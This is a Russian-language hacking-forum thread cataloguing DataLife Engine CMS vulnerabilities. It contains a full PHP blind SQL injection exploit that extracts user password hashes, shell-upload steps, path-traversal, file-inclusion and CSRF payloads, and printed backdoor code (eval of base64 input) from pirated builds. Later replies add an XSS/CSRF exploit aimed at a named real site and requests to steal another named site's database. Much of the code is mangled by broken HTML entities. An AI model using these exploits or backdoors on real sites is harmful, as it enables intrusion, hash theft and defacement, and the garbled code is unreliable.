![]() ![]() |
| Baggio |
Сообщение #1
|
![]() ФлудераСт
Репутация: 0 Группа: r00t Admin Сообщений: 1530 Регистрация: 11.12.2007 ICQ:-- |
Обзор уязвимостей DLE (DataLife Engine) Сайт производителя: www.dle-news.ru Историю версий можно найти: тут Как узнать установленную версию DLE? 1. Открываем: site.com/engine/ajax/updates.php 2. Смотрим установленную версию Как залить шелл в DLE v4.1-8.2? Итак, заходим в админцентр. Далее нажимаем "Другие разделы" Выбираем где-то в конце "Архив файлов" Идём на "Настройка Архива Файлов" Допустимые форматы файлов: дописываем php. Сохраняемся, идём в "Добавить файл". Заливаем шелл Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке. Автор способа: desTiny DataLife Engine <= v4.1 sql-inj Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. http://[host]/index.php?subaction=userinfo&user=[ code ] DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl) DataLife Engine <= 4.1 Remote SQL Injection Exploit (php) DataLife Engine <= v4.2 Листинг файлов: http ://dle.com/engine/ajax/vote.php?vote_action=results&vote_skin=../../../. ./../../../../../../../etc/passwd� Раскрытие полного установочного пути: http ://dle.com/index.php?do=pm&doaction=newpm&user[]= DataLife Engine v6.3 Раскрытие пути: dle.com/index.php?catalog[]= DataLife Engine v6.7 Раскрытие пути: http://site/engine/inc/init.php http://site/engine/inc/preview.php http://site/engine/data/dbconfig.php (работает не везде) http://site/upgrade/error.php http://site/upgrade/finish.php http://site/upgrade/template.php Автор: Qwazar DLE v6.7 Online Mod Exploit Blind SQL Injection: Эксплойт получает хеши любого юзера, шифрация md5(md5($pass)) <?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster * Need magic_quotes_gpc off and mysql version higher than 4.0 (on server) * * Useful: email, password, name * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.0 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_0.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category Exploit * @package None * @author Eugene Minaev <underwater@itdefence.ru> * @copyright 2008 ITDefence.ru * @license http://www.php.net/license/3_0.txt &nbs p;PHP License 3.0 * @version CVS: $Id:$ * @link http://underwater.itdefence.ru * @since File available since Release 0x00 */ @set_time_limit(0); @ini_set('output_buffer', 0); ?> <html> <head> &n bsp; <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title> &n bsp; <style type="text/css"> &n bsp; body{ &n bsp; & ; ; ;nbs p; font-family: Tahoma; &n bsp; & ; ; ;nbs p; font-size: 12px; &n bsp; & ; ; ;nbs p; color: #e1e1e1; &n bsp; & ; ; ;nbs p; background-color: #222; &n bsp; } &n bsp; </style> </head> <body> &n bsp; <center> &n bsp; <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>"> &n bsp; dle path:<input type="text" name="server" value="http://localhost/dle/" /> &n bsp; <br/><br/> &n bsp; admin id: <input type="text" name="userid" value="1" /> &n bsp; <br/><br/> &n bsp; <input type="submit" /> &n bsp; </form> &n bsp; </center> </body> </html> <?php if (!empty($_POST)) { $_ = create_function('$error', 'die("$error");'); $userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null; $server = isset($_POST['server']) ? $_POST['server'] : null; $alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'); $responce = null; $password = null; $curpos = 1; $alppos = 0; $flag = false; $pathinfo = parse_url($server); if (false === is_array($pathinfo) or empty($pathinfo['host'])) { &n bsp; $_('invalid url'); } else { &n bsp; $fsocket = fsockopen($pathinfo['host'], 80) or &n bsp; $_('hostname is dead'); &n bsp; $request = "GET {$pathinfo['path']} HTTP/1.1rn" &n bsp; & ; ; ;nbs p; . "Host: {$pathinfo['host']}rn" &n bsp; & ; ; ;nbs p; . "Cookie: dle_onl_session='underWHAT?!rnrn"; &n bsp; fwrite($fsocket, $request) or &n bsp; $_ ('failed to write data to socket'); &n bsp; while ($flag === false){ &n bsp; & ; ; ;nbs p; $respo nce .= fread($fsocket, 128); &n bsp; & ; ; ;nbs p; $flag = strpos($responce, '</html>') ? true: false; &n bsp; } $flag = false; &n bsp; if (strpos($responce, 'MySQL Error') > 0){ &n bsp; while (strlen($password) < 32) &n bsp; { &n bsp; & ; ; ;nbs p; $fsocket = fsockopen($pathinfo['host'], 80) or &n bsp; & ; ; ;nbs p; $_( ; ; ;'hostname is dead'); &n bsp; & ; ; ;nbs p; $responce = null; &n bsp; & ; ; ;nbs p; $cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(se lect 1 union select 3))/*"; &n bsp; & ; ; ;nbs p; $request = "GET {$pathinfo['path']} HTTP/1.1rn" &n bsp; & ; ; ;nbs p; . "Host: {$pathinfo['host']}rn" &n bsp; & ; ; ;nbs p; . "Connection: closern" &n bsp; & ; ; ;nbs p; . "Cookie: dle_onl_session=$cookiernrn"; &n bsp; & ; ; ;nbs p; fwrite($fsocket, $request) or &n bsp; & ; ; ;nbs p; $_ ('failed to write data to socket'); &n bsp; & ; ; ;nbs p; $responce = fread($fsocket, 8000); &n bsp; & ; ; ;nbs p; if (!strpos($responce, 'returns more than 1 row')){ &n bsp; & ; ; ;nbs p; $passw ord .= $alphabet[$alppos]; &n bsp; & ; ; ;nbs p; $curpo s += 1; &n bsp; & ; ; ;nbs p; $alppo s = 0; &n bsp; & ; ; ;nbs p; } else { &n bsp; & ; ; ;nbs p; $alppo s += 1; &n bsp; & ; ; ;nbs p; } &n bsp; & ; ; ;nbs p; $flag = false; &n bsp; & ; ; ;nbs p; $responce = null; &n bsp; & ; ; ;nbs p; fclose($fsocket); &n bsp; } &n bsp; } else { die ('<center><h1>not vulnerable</h1></center>'); } &n bsp; echo "<center><h1>$password</h1></center>" ;;&a mp;n bsp; & ; ; ;nbs p; } } ?> Авторы: maxster и Евгений Минаев XSRF баг: site.com/dle/engine/modules/imagepreview.php?image=[XSRF] Получение шелла через залогиненного админа: <form action="http://evil.com/admin.php?mod=options&action=syscon" method="post"> <input name="save_con[test');@eval(trim(stripslashes($l ala& amp; #41;));$config=ar ray('test]" value="test"/> <input type=hidden name=action value=dosavesyscon> <input type="submit" value="ok"/> </form> получение: http ://evil.com/adm.php?mod=options&action=syscon&lala=phpcode() ; DataLife Engine v8.2 Отсутствие фильтрации в /engine/init.php Уязвимость заключается в отсутствии фильтрации параметра "dle_skin" в файле init.php и позволяет увидеть пути к корню сайта. 1. Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим dle_skin и значение ../ 2. Отправляем запрос на сайт: GET / HTTP/1.1 Host: dle-news.ru Cookie: dle_skin=../ Cookie2: $Version=1 Connection: Close 3. После этого на сайте видим ошибку: Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314 Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:php5pear') in [PATH] on line 314 Невозможно загрузить шаблон: shortstory.tpl [PATH] - это и есть раскрытие путей. 4. Соображающие люди поймут как сделать из этого LFI. Автор: mailbrush "Уязвимость" восстановления пароля: /index.php?do=lostpassword&douser=1&lostid= Получаем пас от пользователя с id 1 DatalifeEngine 8.2 Remote File Inclusion Vulnerability www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?] DataLife Engine v8.3 DataLife Engine 8.3 RFI Vulnerability: h ttp://localhost/upload/engine/inc/include/init.php?selected_language=http 8;//localhost/c.txt? http://localhost/upload/engine/inc/help.php?config[langs]=http:/ /localhost/c.txt? http://localhost/upload/engine/ajax/pm.php?config[lang_=http://local host/c.txt? http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]&a mp;a mp;a mp;# 93;=http://localhost/c.txt? http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]&a mp;a mp;a mp;# 93;=http://localhost/c.txt? Раскрытие путей: engine/images.php dle_skin: ../ if ($_COOKIE['dle_skin']) { if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) { $config['skin'] = $_COOKIE['dle_skin']; } } 1. Открываем site.ru/engine/images.php?area=short_story&add_id= 2. Грузим картинку и получаем раскрытые пути. Бэкдор в нулле DLE от ZLOY: Файл лежит в (/engine/ajax/updates.php). Код бэкдора: if($_GET['wert']==''){ require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng 9;; $config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset']; @header("HTTP/1.0 200 OK"); @header("HTTP/1.1 200 OK"); @header("Cache-Control: no-cache, must-revalidate, max-age=0"); @header("Expires: 0"); @header("Pragma: no-cache"); @header("Content-type: text/css; charset=".$config['charset']); $data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?vers io n_id=".$_REQUEST['versionid']."&key=". $config 1;'key']); if (!strlen($data)) echo $lang['no_update']; else echo $data; }else{ $file=(ROOT_DIR."/engine/classes/mysql.class.php"); if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";} $file=(ROOT_DIR."/engine/data/dbconfig.php"); if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";} $file=(ROOT_DIR."/engine/data/config.php"); if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";} eval(base64_decode($_GET['user_id'])); echo <<<HTML <HTML><body><form action="" method="post"> <center><textarea name="text" rows="10" cols="100"></textarea> <br /><input type="submit" value="Canoinoaaoe"/></center></form></body& #62; </HTML> HTML; if($_POST['text']!=''){eval(stripcsl ashes 0;$_POST['text'])); }} DataLife Engine v8.5 Бекдор в нулле от M.I.D-Team. Бекдор . eval() через $_POST в uploadengineajaxkeywords.php Вызвать его можно так: Код <form name="eval" action="http://site.com/upload/engine/ajax/keywords.php" method="post"> <input type="text" name="text" value="phpinfo();"><br /> <input type="submit" name="submit" value="zapros"> </form> Взято отсюда Подготовлено по материалам: milw0rm, securitylab.ru, античат.ру, покетсекурити.орг Просьба обновлять тему актуальными багами. Источник -------------------- DLE.IN.UA Всё для Datalife Engine (DLE) in UA-IX Правила форума linux-bsd.in.ua Linux & FreeBSD Каждый админ должен построить сеть, посадить кактус и выростить кота! |
| BlackSmoke |
Сообщение #2
|
| Новичок
Репутация: -- Группа: Гости Сообщений: 0 Регистрация: -- ICQ:-- |
Боян)) |
| Terminator975 |
Сообщение #3
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
Ваще не бум-бум :D Лучше достань базу этого сайта пожалуйста _http://www.justgamez.net/ |
| Terminator975 |
Сообщение #4
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
У меня даже не получилось узнать версию:( Извините, но в целях безопасности эта функция была отключена! Нет необходимости палить лишний раз нуленый движек ;-) |
| zhr07 |
Сообщение #5
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 23.09.2008 ICQ:-- |
А это... 8.3 Бэкдор в нулле DLE от ZLOY: Файл лежит в (/engine/ajax/updates.php). Код бэкдора: if($_GET['wert']==''){ require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng 9;; $config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset']; @header("HTTP/1.0 200 OK"); @header("HTTP/1.1 200 OK"); @header("Cache-Control: no-cache, must-revalidate, max-age=0"); @header("Expires: 0"); @header("Pragma: no-cache"); @header("Content-type: text/css; charset=".$config['charset']); $data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?vers ion_id=".$_REQUEST['versionid']."&key=" ;.$config['key']); if (!strlen($data)) echo $lang['no_update']; else echo $data; }else{ $file=(ROOT_DIR."/engine/classes/mysql.class.php"); if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";} $file=(ROOT_DIR."/engine/data/dbconfig.php"); if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";} $file=(ROOT_DIR."/engine/data/config.php"); if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";} eval(base64_decode($_GET['user_id'])); echo <<<HTML <HTML><body><form action="" method="post"> <center><textarea name="text" rows="10" cols="100"></textarea> <br /><input type="submit" value="Canoinoaaoe"/></center></form></body& #62;</HTML> HTML; if($_POST['text']!=''){eval(stripcsl ashes($_POST['text'])); }} И это... DataLife Engine v8.5 Бекдор в нулле от M.I.D-Team. Бекдор . eval() через $_POST в \upload\engine\ajax\keywords.php Вызвать его можно так: <form name="eval" action="http://site.com/upload/engine/ajax/keywords.php" method="post"> <input type="text" name="text" value="phpinfo();"><br /> <input type="submit" name="submit" value="zapros"> </form> Тоже бояны??? -------------------- Пиво для Админа не алкоголь, а виртуальная память, которая подгружается по мере необходимости. |
| Terminator975 |
Сообщение #6
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
Второе да |
| dok3 |
Сообщение #7
|
| Новичок
Репутация: -- Группа: Гости Сообщений: 0 Регистрация: -- ICQ:-- |
бага в engine/modules/imagepreview.php Celsoft пыталась пофиксить багу Мой склад ума позволил обойти защиту Единственный плюс, это то, что xss работает только в Опере багу обнаружил и пофиксил kzpromo (в привате с версии 7.5) реализация защиты от xss <?php $_GET['image'] = @htmlspecialchars ($_GET['image'], ENT_QUOTES); $_GET['image'] = strtolower($_GET['image']); if( preg_match( "/[?&;%<\[\]]/", $_GET['image'] ) ) $_GET['image'] = ""; $_GET['image'] = str_replace( "document.cookie", "", $_GET['image'] ); $_GET['image'] = str_replace( "javascript", "", $_GET['image'] ); $_GET['image'] = str_replace( "onload", "", $_GET['image'] ); $_GET['image'] = str_replace( "script", "", $_GET['image'] ); $_GET['image'] = str_replace( "onclick", "", $_GET['image'] ); $_GET['image'] = str_replace( "alert", "", $_GET['image'] ); if ( preg_match( "/[?&;%<\[\]]/", $_GET['image']) ) { $_GET['image'] = "иди_на{censored}"; } if (eregi("document.cookie", $_GET['image']) or eregi("alert", $_GET['image']) or eregi("jаvascript", $_GET['image'])) { $_GET['image'] = "иди_на{censored}"; } $preview = <<<HTML <HTML> <HEAD> <TITLE>Image Preview</TITLE> <script language='javascript'> var NS = (navigator.appName=="Netscape")?true:false; function fitPic() { iWidth = (NS)?window.innerWidth:document.body.clientWidth; iHeight = (NS)?window.innerHeight:document.body.clientHeight; iWidth = document.images[0].width - iWidth; iHeight = document.images[0].height - iHeight; window.r esizeBy(iWidth, iHeight); self.foc us(); }; </script> </HEAD> <BODY bgcolor="#FFFFFF" onload='fitPic();' topmargin="0" marginheight="0" leftmargin="0" marginwidth="0"> <script language='javascript'> document.write( "<img src='{$_GET['image']}' border=0>" ); </script> </BODY> </HTML> HTML; echo $preview; ?> как бэ все! кто умеет пользоваться курлом тот сможет использовать багу |
| dok3 |
Сообщение #8
|
| Новичок
Репутация: -- Группа: Гости Сообщений: 0 Регистрация: -- ICQ:-- |
самый простой способ зашиты просто продублировать но теперь вписать своё $_GET['image'] = str_replace( "javascript", "Super_Duper_slovo", $_GET['image'] ); $_GET['image'] = str_replace( "onload", "Liuboje_slovo", $_GET['image'] ); $_GET['image'] = str_replace( "script", "Nabor_bukv_cifr", $_GET['image'] ); |
| dok3 |
Сообщение #9
|
| Новичок
Репутация: -- Группа: Гости Сообщений: 0 Регистрация: -- ICQ:-- |
И вот еше дырка с 7.2 по 8.5 через которую можно залить шел, ей ша нугамов вроде пользуется и сливает сайты. Работает любой хтмл тег отосланный пост запросом на engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php ТИПА ЭКСПЛОИТ: <?php $value = urlencode("<script>alert('HACKED BY KZPROMO trololo');</script>"); if($_GET['unset'] == "time") unset($_COOKIE['time']); if(!issеt($_COOKIE['time'])) { sеtcookie("time",time(),time()+3600); еcho <<<HTML <html> <head> </head> <body> <center> <form name="hack" action="https://gomel-sat.net/engine/еditor/jscripts/tiny_mce/plugins/ typograf/handlеr.php" method="post"> <input type="text" name="text" value='$value' style="boder:none;FONT: 0px Tahoma; border:0px solid #FFFFFF;" border="0"> </form> <script> document.hack.submit(); </script> </body> </html> HTML; } else { header("Content-type: image/jpg"); $image = imagecreatefromgif('smile.jpg'); imagegif($image); imagedestroy($image); } ?> Способ зашиты: удаляем папку tiny_mce в engine/editor/jscripts/ Папка tiny_mce отвечает за второй редактор в добавление новостей и т.д (ей не кто не пользуется так что смело можете сносить папку) |
| razboynick |
Сообщение #10
|
| Активный участник
Репутация: 0 Группа: User Сообщений: 115 Регистрация: 10.02.2009 ICQ:-- |
dok3,a kak eto ispolzovat??? |
| Terminator975 |
Сообщение #11
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
Я думаю к себе на хостинг заливаешь меняешь сылки какие надо и запускаешь файл да??? |
| Terminator975 |
Сообщение #12
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
:( Parse error: syntax error, unexpected T_SL in /home/***/domains/***/public_html/index.php on line 7 |
| SaD |
Сообщение #13
|
![]() ФлудераСт
Репутация: 0 Группа: User Сообщений: 2272 Регистрация: 20.02.2009 ICQ:-- |
dok3, За эксплоит спасибо, работает -------------------- Вёрстка всего что движется. |
| Terminator975 |
Сообщение #14
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
SAD Напиши как пользоватся пожалуйста :( |
| raz0r |
Сообщение #15
|
| Новичок
Репутация: -- Группа: Гости Сообщений: 0 Регистрация: -- ICQ:-- |
Terminator975, Блин мне одному кажется что школьники борзеют и хотят чтобы вот было так: зашёл на сайт и рядом была кнопочка взломать. |
| ТорЧ |
Сообщение #16
|
![]() Активный участник
Репутация: 0 Группа: User Сообщений: 274 Регистрация: 26.04.2008 ICQ: |
Цитата: Baggio 1. Открываем: site.com/engine/ajax/updates.php _http://zeos.org.ru/engine/ajax/updates.php p.s. Способы уже "бородатые" , относительно новый - tiny_mce (помнитсо ещё Будрин через него ломал=)) |
| vilcom |
Сообщение #17
|
![]() ФлудераСт
Репутация: 0 Группа: User Сообщений: 1352 Регистрация: 18.10.2008 ICQ: |
Цитата: raz0r Блин мне одному кажется что школьники борзеют и хотят чтобы вот было так: зашёл на сайт и рядом была кнопочка взломать. не одному -------------------- создание и обслуживание сайтов на DLE;написание модулей и хаков;техподдержка по icq >>>бесплатных консультаций не предоставляю |
| Terminator975 |
Сообщение #18
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 7.03.2010 ICQ:-- |
Блин мне одному кажется что школьники борзеют и хотят чтобы вот было так: зашёл на сайт и рядом была кнопочка взломать. Я был бы так рад :))))))) Ну достаньте кто нить базу этого сайта пожалуйста ;( _http://www.justgamez.net/ |
| KinD |
Сообщение #19
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 27.09.2009 ICQ: |
Warning: include_once(D:\users\justgamez-1\justgamez-2\WWWRoot/templates/..// login.tpl): failed to open stream: No such file or directory in D:\users\justgamez-1\justgamez-2\WWWRoot\engine\init.php on line 338 Warning: include_once(): Failed opening 'D:\users\justgamez-1\justgamez-2\WWWRoot/templates/..//login .tpl' for inclusion (include_path='.;C:\php5\pear') in D:\users\justgamez-1\justgamez-2\WWWRoot\engine\init.php on line 338 Невозможно загрузить шаблон: lostpassword.tpl |
| толстый |
Сообщение #20
|
![]() Новичок
Репутация: 0 Группа: User Сообщений: 0 Регистрация: 27.05.2010 ICQ: |
как можно слить сайт через tiny_mce по html ? -------------------- Толстый котэ :) |
![]() ![]() |
| Сейчас: 5 февраля 2012 07:25 |
Только у нас
dle шаблоны бесплатные
для DataLife